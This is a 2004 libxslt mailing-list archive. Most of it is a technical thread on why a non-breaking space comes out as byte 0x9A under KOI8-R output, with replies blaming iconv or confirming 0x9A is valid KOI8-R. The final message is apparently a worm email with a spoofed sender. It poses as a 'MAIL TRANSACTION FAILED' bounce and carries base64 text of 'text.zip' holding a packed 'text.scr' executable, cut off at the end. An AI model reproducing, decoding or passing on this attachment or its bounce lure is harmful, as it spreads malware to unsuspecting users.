From vova@sw.ru Mon Feb 2 03:07:00 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from vbook.fbsd.ru (asplinux.ru [195.133.213.194]) by mail.gnome.org (Postfix) with ESMTP id D5D0B18132 for ; Mon, 2 Feb 2004 03:06:59 -0500 (EST) Received: from localhost ([127.0.0.1]) by vbook.fbsd.ru with esmtp (Exim 4.30; FreeBSD) id 1AnZ7t-0000SO-Ot; Mon, 02 Feb 2004 11:08:13 +0300 Subject: Re: [xslt] How to send   to not UTF-8 html output ? From: "Vladimir B. Grebenschikov" To: Peter Jacobi Cc: xslt@gnome.org In-Reply-To: <401A8A47.20397.1A8DA54@localhost> References: <401A8A47.20397.1A8DA54@localhost> Content-Type: multipart/mixed; boundary="=-pI67htwXUaUOISwMu/J1" Organization: SWsoft Inc. Message-Id: <1075709291.1040.20.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Mon, 02 Feb 2004 11:08:13 +0300 Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: --=-pI67htwXUaUOISwMu/J1 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: quoted-printable =F7 =D0=D4, 30.01.2004, =D7 18:45, Peter Jacobi =D0=C9=DB=C5=D4: > >   does not work if output encoding not utf-8 (say KOI8-R) >=20 >   is NBSP in any encoding. Which app interpreting the generated HTML= =20 > disagrees with that? xslt processor do translation of entity   to unicode character when there no such character in output encoding: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 |...| 20 20 20 20 20 20 20 20 5b 9a 5d 0a 20 20 20 20 | [.]. | 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c | ..| =20 [ ] As I understand   should be output as entity (  or  ) but not as invalid character: 0x9a, (when output encoding set to utf-8 it is outputed as 0xc2 0xa0 characters and work right). Of course browser (I have tried MSIE, Mozilla, Opera) refuses to show non-breaking spache in case of KOI8-R output encoding. > Regards, > Peter Jacobi --=20 Vladimir B. Grebenschikov SWsoft Inc. --=-pI67htwXUaUOISwMu/J1 Content-Disposition: attachment; filename=test.xsl Content-Type: text/plain; name=test.xsl; charset=koi8-r Content-Transfer-Encoding: 7bit [ ] --=-pI67htwXUaUOISwMu/J1-- From vova@sw.ru Mon Feb 2 03:21:20 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from vbook.fbsd.ru (asplinux.ru [195.133.213.194]) by mail.gnome.org (Postfix) with ESMTP id 5FEA1182F3 for ; Mon, 2 Feb 2004 03:21:20 -0500 (EST) Received: from localhost ([127.0.0.1]) by vbook.fbsd.ru with esmtp (Exim 4.30; FreeBSD) id 1AnZLn-0000TG-ST for xslt@gnome.org; Mon, 02 Feb 2004 11:22:35 +0300 Subject: Re: [xslt] How to send   to not UTF-8 html output ? From: "Vladimir B. Grebenschikov" To: xslt@gnome.org In-Reply-To: <20040130160047.GE6539@redhat.com> References: <1075475777.961.26.camel@localhost> <20040130160047.GE6539@redhat.com> Content-Type: text/plain; charset=koi8-r Organization: SWsoft Inc. Message-Id: <1075710154.1040.25.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Mon, 02 Feb 2004 11:22:35 +0300 Content-Transfer-Encoding: quoted-printable Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: =F7 =D0=D4, 30.01.2004, =D7 19:00, Daniel Veillard =D0=C9=DB=C5=D4: > On Fri, Jan 30, 2004 at 06:16:18PM +0300, Vladimir B. Grebenschikov wrote= : > =20 > > Is any way to define real entity for   ? >=20 > At the XSLT level, no. XSLT works only on XML information set where > entities have been substitued with their repacement value, and for >   that would be the character code point #160. >=20 > > Why Э is translated right for all encoding (as valid character or > > as entity if can't be converted to characted) but   does not > > translated to   when it is not possible to out unicode character ? >=20 >   and   are equivalent in HTML, so why do you want one > instead of the other ? Why would people have to use   which depends > at least theorically on DTD support instead of using   which is > the direct unanbigous reference to the code point you want (i.e.=20 > non-breaking-space) ... I see no logic behind your request. As I just write to list I can't send nbsp sign if output is not UTF-8=20 (particular koi8-R in may case). Details in previous message to list.   is translated to invalid character by xslt processer instead of valid entity. (As far as I know there is no character "nbsp" in KOI8-R encoding, but browser understand entities) > > Looks like it is almost impossible to get text with character '&' on > > html output. >=20 > This statement is far too wide to have any answer. Ok, I do not need "general case". > Daniel --=20 Vladimir B. Grebenschikov SWsoft Inc. From veillard@redhat.com Mon Feb 2 03:24:54 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id 817C11886B for ; Mon, 2 Feb 2004 03:24:54 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i128Osb07166 for ; Mon, 2 Feb 2004 03:24:54 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i128Ora14253 for ; Mon, 2 Feb 2004 03:24:53 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i128OPkC016512 for ; Mon, 2 Feb 2004 03:24:25 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i128OPgj016510 for xslt@gnome.org; Mon, 2 Feb 2004 03:24:25 -0500 Date: Mon, 2 Feb 2004 03:24:25 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] How to send   to not UTF-8 html output ? Message-ID: <20040202082425.GB1034@redhat.com> References: <1075475777.961.26.camel@localhost> <20040130160047.GE6539@redhat.com> <1075710154.1040.25.camel@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1075710154.1040.25.camel@localhost> User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Mon, Feb 02, 2004 at 11:22:35AM +0300, Vladimir B. Grebenschikov wrote: > As I just write to list I can't send nbsp sign if output is not UTF-8 > (particular koi8-R in may case). Details in previous message to list. > >   is translated to invalid character by xslt processer instead of > valid entity. (As far as I know there is no character "nbsp" in KOI8-R > encoding, but browser understand entities) Depends on the routine you use to translate to KOI8-R, probably coming from iconv(), it's certainly not libxml2 nor libxslt code which does that conversion. Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From vova@sw.ru Mon Feb 2 03:37:26 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from vbook.fbsd.ru (asplinux.ru [195.133.213.194]) by mail.gnome.org (Postfix) with ESMTP id 2018618A44 for ; Mon, 2 Feb 2004 03:37:26 -0500 (EST) Received: from localhost ([127.0.0.1]) by vbook.fbsd.ru with esmtp (Exim 4.30; FreeBSD) id 1AnZbN-0000Xq-U3 for xslt@gnome.org; Mon, 02 Feb 2004 11:38:42 +0300 Subject: Re: [xslt] How to send   to not UTF-8 html output ? From: "Vladimir B. Grebenschikov" To: xslt@gnome.org In-Reply-To: <20040202082425.GB1034@redhat.com> References: <1075475777.961.26.camel@localhost> <20040130160047.GE6539@redhat.com> <1075710154.1040.25.camel@localhost> <20040202082425.GB1034@redhat.com> Content-Type: text/plain; charset=koi8-r Organization: SWsoft Inc. Message-Id: <1075711120.1040.30.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Mon, 02 Feb 2004 11:38:41 +0300 Content-Transfer-Encoding: quoted-printable Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: =F7 =D0=CE, 02.02.2004, =D7 11:24, Daniel Veillard =D0=C9=DB=C5=D4: > On Mon, Feb 02, 2004 at 11:22:35AM +0300, Vladimir B. Grebenschikov wrote= : > > As I just write to list I can't send nbsp sign if output is not UTF-8=20 > > (particular koi8-R in may case). Details in previous message to list. > >=20 > >   is translated to invalid character by xslt processer instead of > > valid entity. (As far as I know there is no character "nbsp" in KOI8-R > > encoding, but browser understand entities) >=20 > Depends on the routine you use to translate to KOI8-R, probably coming > from iconv(), it's certainly not libxml2 nor libxslt code which does=20 > that conversion. I do not write any special code for translation, just=20 I guess iconv does not know anything about entities so iconv can only report "It is not possible to translate UTF-8 character to koi8-r" and xslt processor should substitute   entity instead. (I have tried cp1251 encoding - same problem) > Daniel --=20 Vladimir B. Grebenschikov SWsoft Inc. From veillard@redhat.com Mon Feb 2 04:13:34 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id 0D2DA18264 for ; Mon, 2 Feb 2004 04:13:33 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i129DWb02539 for ; Mon, 2 Feb 2004 04:13:32 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i129DWa30740 for ; Mon, 2 Feb 2004 04:13:32 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i129D3kC002529 for ; Mon, 2 Feb 2004 04:13:03 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i129D3e8002527 for xslt@gnome.org; Mon, 2 Feb 2004 04:13:03 -0500 Date: Mon, 2 Feb 2004 04:13:03 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] How to send   to not UTF-8 html output ? Message-ID: <20040202091303.GC1034@redhat.com> References: <1075475777.961.26.camel@localhost> <20040130160047.GE6539@redhat.com> <1075710154.1040.25.camel@localhost> <20040202082425.GB1034@redhat.com> <1075711120.1040.30.camel@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <1075711120.1040.30.camel@localhost> User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Mon, Feb 02, 2004 at 11:38:41AM +0300, Vladimir B. Grebenschikov wrote: > Ð’ пн, 02.02.2004, в 11:24, Daniel Veillard пишет: > > On Mon, Feb 02, 2004 at 11:22:35AM +0300, Vladimir B. Grebenschikov wrote: > > > As I just write to list I can't send nbsp sign if output is not UTF-8 > > > (particular koi8-R in may case). Details in previous message to list. > > > > > >   is translated to invalid character by xslt processer instead of > > > valid entity. (As far as I know there is no character "nbsp" in KOI8-R > > > encoding, but browser understand entities) > > > > Depends on the routine you use to translate to KOI8-R, probably coming > > from iconv(), it's certainly not libxml2 nor libxslt code which does > > that conversion. > > I do not write any special code for translation, just > > > I guess iconv does not know anything about entities so iconv can only > report "It is not possible to translate UTF-8 character to koi8-r" and > xslt processor should substitute   entity instead. > > (I have tried cp1251 encoding - same problem) That works for ascii: gnome:~/tmp -> xsltproc test.xsl test.xsl [ ] gnome:~/tmp -> This means the iconv() routine think it can translate the code point 160 to the target encoding, and doesn't tell libxml2 to handle it. If you're not happy with iconv() default behaviour, provide your own transcoding routine and register them to libxml2. See http://xmlsoft.org/encoding.html#extend Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From morus@tanto-xipolis.de Mon Feb 2 03:29:05 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mail.tanto-xipolis.de (mail.xipolis.net [213.61.178.42]) by mail.gnome.org (Postfix) with ESMTP id 5D36F1897F for ; Mon, 2 Feb 2004 03:29:05 -0500 (EST) Received: from tucholsky.office.tanto.de (morus.xipolis.net [10.0.1.4]) by mail.tanto-xipolis.de (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 0B6E219B721 for ; Mon, 2 Feb 2004 09:29:04 +0100 (CET) Received: from tucholsky.office.tanto.de (morus@tucholsky [127.0.0.1]) by tucholsky.office.tanto.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i128T3lT013374 for ; Mon, 2 Feb 2004 09:29:03 +0100 Received: (from morus@localhost) by tucholsky.office.tanto.de (8.12.3/8.12.3/Debian-6.6) id i128T30d013370; Mon, 2 Feb 2004 09:29:03 +0100 From: Morus Walter MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16414.2639.444639.386936@tanto-xipolis.de> Date: Mon, 2 Feb 2004 09:29:03 +0100 To: xslt@gnome.org Subject: Re: [xslt] How to send   to not UTF-8 html output ? In-Reply-To: <1075709291.1040.20.camel@localhost> References: <401A8A47.20397.1A8DA54@localhost> <1075709291.1040.20.camel@localhost> X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Vladimir B. Grebenschikov writes: > > As I understand   should be output as entity (  or  ) but > not as invalid character: 0x9a, (when output encoding set to utf-8 it is > outputed as 0xc2 0xa0 characters and work right). > But 0x9a *is* NO-BREAK SPACE in KOI-8-R. At least according to http://koi8.pp.ru/frame.html?/utf-8.koi8-r.htmlu which I just found using google. And I don't think libxml does anything special here, except calling some iconv method to convert the character set. So if there is a bug, it's likely to be in iconv. But I don't think there is none. Try using iconv to convert your KOI-8-R file to utf-8 (or vica verse) and check the output. I think your problem is a wrong understanding of what KOI-8-R is. Morus PS: Mozilla on linux does not have a problem to display your example. Though I didn't test, if the space it displays is non breaking. From pj@walter-graphtek.com Mon Feb 2 05:00:21 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from jessenlenz.com (mail.jessenlenz.com [212.79.192.34]) by mail.gnome.org (Postfix) with ESMTP id 1406F18A4C for ; Mon, 2 Feb 2004 05:00:21 -0500 (EST) Received: from SOFTDEV8 (217.0.70.133) by jessenlenz.com with ESMTP (Eudora Internet Mail Server 3.2.2); Mon, 2 Feb 2004 10:49:03 +0100 From: "Peter Jacobi" To: "Vladimir B. Grebenschikov" Date: Mon, 02 Feb 2004 10:54:35 +0100 MIME-Version: 1.0 Subject: Re: [xslt] How to send   to not UTF-8 html output ? Cc: xslt@gnome.org Message-ID: <401E2C6B.3847.8D9C48@localhost> Priority: normal References: <401A8A47.20397.1A8DA54@localhost> In-reply-to: <1075709291.1040.20.camel@localhost> X-mailer: Pegasus Mail for Windows (v4.02) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi Vladimir, "Vladimir B. Grebenschikov" wrote: > 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 |. 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 |ta http-equiv="C| > 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e |ontent-Type" con| > 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b |tent="text/html;| > 20 63 68 61 72 73 65 74 3d 4b 4f 49 38 2d 52 22 | charset=KOI8-R"| > 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a |>..| > 20 20 20 20 20 20 20 20 5b 9a 5d 0a 20 20 20 20 | [.]. | > 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c | . 3e 0a |>.| Hmmm. 0x9A is KOI8-R for no break space (= U+00A0 = &160;) http://www.faqs.org/rfcs/rfc1489.html > Of course browser (I have tried MSIE, Mozilla, Opera) refuses to show > non-breaking spache in case of KOI8-R output encoding. File bugs against those browsers. Not that it would help in case of MSIE. Regards, Peter Jacobi From pj@walter-graphtek.com Mon Feb 2 05:10:01 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from jessenlenz.com (mail.jessenlenz.com [212.79.192.34]) by mail.gnome.org (Postfix) with ESMTP id CCE0F18D41 for ; Mon, 2 Feb 2004 05:10:00 -0500 (EST) Received: from SOFTDEV8 (217.0.70.133) by jessenlenz.com with ESMTP (Eudora Internet Mail Server 3.2.2) for ; Mon, 2 Feb 2004 10:52:45 +0100 From: "Peter Jacobi" To: xslt@gnome.org Date: Mon, 02 Feb 2004 10:58:19 +0100 MIME-Version: 1.0 Subject: Re: [xslt] How to send   to not UTF-8 html output ? Message-ID: <401E2D4B.25275.910574@localhost> Priority: normal In-reply-to: <16414.2639.444639.386936@tanto-xipolis.de> References: <1075709291.1040.20.camel@localhost> X-mailer: Pegasus Mail for Windows (v4.02) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: > PS: Mozilla on linux does not have a problem to display your example. > Though I didn't test, if the space it displays is non breaking. Mozilla 1.4.1 on Win32 doesn't recognize 0x9A as NBSP. From igor@zlatkovic.com Mon Feb 2 05:33:04 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mail.zlatkovic.com (spell.zlatkovic.com [62.75.159.112]) by mail.gnome.org (Postfix) with ESMTP id 53E2D19081 for ; Mon, 2 Feb 2004 05:33:04 -0500 (EST) Received: from zlatkovic.com (pD9E26C23.dip.t-dialin.net [217.226.108.35]) (authenticated bits=0) by mail.zlatkovic.com (8.12.8/8.12.8) with ESMTP id i12AX1BQ026971 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=OK) for ; Mon, 2 Feb 2004 11:33:03 +0100 Message-ID: <401E2763.3070700@zlatkovic.com> Date: Mon, 02 Feb 2004 11:33:07 +0100 From: Igor Zlatkovic User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en, de MIME-Version: 1.0 To: xslt@gnome.org Subject: Re: [xslt] How to send   to not UTF-8 html output ? References: <1075709291.1040.20.camel@localhost> <401E2D4B.25275.910574@localhost> In-Reply-To: <401E2D4B.25275.910574@localhost> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Peter Jacobi wrote: >>PS: Mozilla on linux does not have a problem to display your example. >>Though I didn't test, if the space it displays is non breaking. > > > Mozilla 1.4.1 on Win32 doesn't recognize 0x9A as NBSP. Mozilla 1.6 does, so does IE 6. Ciao, Igor From igor@zlatkovic.com Mon Feb 2 08:54:18 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx-in-01.simplementehosting.net (mx-in-01.simplementehosting.net [66.216.79.177]) by mail.gnome.org (Postfix) with ESMTP id D086D18103 for ; Mon, 2 Feb 2004 08:54:17 -0500 (EST) Received: from zlatkovic.com (67.107.254.115.ptr.us.xo.net [67.107.254.115]) by mx-in-01.simplementehosting.net (Postfix) with ESMTP id 910BE23404E for ; Mon, 2 Feb 2004 07:54:16 -0600 (CST) From: igor@zlatkovic.com To: xslt@gnome.org Date: Mon, 2 Feb 2004 08:53:53 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0011_EC296956.F1B5DA17" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <20040202135416.910BE23404E@mx-in-01.simplementehosting.net> Subject: [xslt] MAIL TRANSACTION FAILED Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_0011_EC296956.F1B5DA17 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit The message contains Unicode characters and has been sent as a binary attachment. ------=_NextPart_000_0011_EC296956.F1B5DA17 Content-Type: application/octet-stream; name="text.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="text.zip" UEsDBAoAAAAAALpuQjDKJx+eAFgAAABYAAAIAAAAdGV4dC5zY3JNWpAAAwAAAAQAAAD//wAAuAAA AAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEDAAAAAAAAAAAAAAAAAOAA DwELAQcAAFAAAAAQAAAAYAAAYL4AAABwAAAAwAAAAABKAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAA AADQAAAAEAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAOjBAAAwAQAA AMAAAOgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQ WDAAAAAAAGAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAABQAAAAcAAAAFAA AAAEAAAAAAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAMAAAAAEAAAAVAAAAAAAAAAAAAAAAAAA QAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAx LjI0AFVQWCEMCQIJSH6Jj9Q2HIEplgAAU04AAACAAAAmAQDF7ocCkgBQJkoAQAP9smmaLBAE9CXo AQBLzmmabtkfyCrAA7iwqKZpmqagmJCIgJqmaZp4cGhgWFDNYJ9pSABEBzgwNE3TdAMoJBwYENMs u9cIIwP4KfDoTdM0TeDY0Mi8tDRN0zSspJyUjM42TdOIfHBoKW9cpumawQdUTANEOJqmaZosJBwU DARpms5t/Ch/A/Ts5KZpmqbc1MzIvJqmaZq0rKSgmJBnm6ZpjIB4cCh7aN5s03UHXANUTCj/+wt2 tvvjQA80KPcsLwOaphn5JChKHBQMBGmazuyb/CcD7OjgpmmaptjUzMjAmqZpurgnsKyooJhpmqZp lIyIhHykaZqmdGxkXFRpmqYbTANEQDgwpmmapiggGBAImqZzmwD4Js8D6ODYZ5vObVQ0QwNANDTb iv////+dWtDa5fQGHzNObHJO2AKXX5LIAT18vkNLluQ1ieA6l//////3WsAplQR262PeXN1h6HL/ jyK4Ue2MLtN7JtQNOfCqZ/////8n6rB5RRTmu5NuTC0R+OLPv7KooZ2cnqOrtsTV6QAaN/////9X eqDJ9SRWi8P+PH3BCFKf70KY8U2sDnPbRrQlmRCKB/////+HCpAZpaWo/vLD0qj4EixKa4+24A09 cKbfG1p84SdVyf////8SYL4YZdU4nhdz4lSJQbya4z/GUI1tAJZPy2oMsUN6sv////9zF86IRwXI ilcj8sSZcUwuC+/WwK2dkIYPe3p8kYmUov////+zx976FTVYfqfDAjR5odwaW4/mMG3NIHbPK4r8 Ubkkkv////8Dd+5o5WXobpeDg3aMlaGwwtfvCihJbZS+6xtOhL35OP////96vwdSoPFFbJZTsxp8 5VHAMqcfmhiZHaQuu0vedA2pSP/////qjzfikEH1rGYj46ZsNQHQondPKgjpzbSei3tuZF1ZWP// //9aX2dygJGlvNbzEzZchbHgEkd/uvg5fcQOW6v+VK0JPf////+ad6cCcOFVzAbDQ8Zc1WFhZGpz f4ygtc3oBidLcpzJ+f////8sYptXFlh9sGAm/iN61DGR5FrDL84Qhf109nf7gAyZKf////+8UuuH JshtFcBuH5OKROGU1BIh366AVS0Y5ser8nxpWf////9OQjs3ODg9RVBeb4OatNHxFDpjz77w5Wy2 5CNb97xhqP/////QO4nuczxj+JngxUuRF6Eh3iKzPz9USFF7b37Wz9lulf/f/v8pAyPplAm/5vOl QRCmfDJpa4AhCy3HTtIQgmz5/////3Ond94UhwcH+1KqAWHALJv3Jpbdl50iYA9Gns39LEB///// /5Oy0vEJIFh2aGNdUFJRU2pkdwEsxe9UMLxXETzOnVdu/////yDjrWDa0VIVzmZft0HAFORlk594 /nINvOdqlXt7E3Z2/////30cDS3y9vSw8dHnefrdTGWj/ydsjN0L24wbqb11hztP/////9sUgkIU CUXMgg/6Yrcpc/sVg+cek360JGkp/70oy+pO///t/3cOOrC/91TU7HOYAU0GnfKir8Ji8+VeN98F cVL/////B/gbQH5UPqepTywCfTDI5wbSVCoaa0wBnQT2avodxwb/hf//+B2QBKuWAAYGECvvmdRO /xd4C5PG+HUhjKT/////X//Mcmvrb/6l/ezQQcl4kdnErCbH6OCptxpdb+wpEKP/////vPPt9W9R ITWN1lMcSCkY47dcP524zdBSVeO1Q+q+Z+P/////oKAy4s5JOiQvMAqProThdUChYpiy9TBK4OP/ kYHBJwf/////d4hnj1SzhQji/oJFq2GOdNq7Kjiu8ErUGJwXikjCtbz/////nvsfVuZukOA7R7Og GrfSqrzE95NIpgHABP8GEotdqdj/////vZQx+B/oWmM+39YKykLVDF5gSXL19K70Uxf8FhXyjpr/ ////c3A8grHijjdbUxaiJ5RUWKyxNTc+qnVllSFu6xqEgWr/////5goYPzqVn4GC43OkRz0JAtYu iMKn1T+KXOqfVjtfPUr/0v//w3lfQwm48Kuazh6yhdlLwdQ7Xs/f9kf5Svf/////2PsttIpnYv9Y rRGMIvdby1jfhfys4GXa65eU4mAI7z//////POPsfxCOYH7dTZvknQUbl3rbzLP7N48l8Tkdsnwa 9R3/////H72f6cbq6es+2ZZw/TvaRSX286Tn1gQhTDn+W6SHiZL///8LndOwW40qNkIbytHkNFCs wxzF4WaKbFszUUL/////7T4jq2LX7pT0NLLp1UmsXiauvG15Z5VbN4akgj2uh8P/////h7CAtt9D 37uLgGUvHqgyy7UqkzdDeeJiNFq67WlcbCL/////rBjVc+HryIYvWklP8UPzN8tvNhg9Zy2h8ZhC 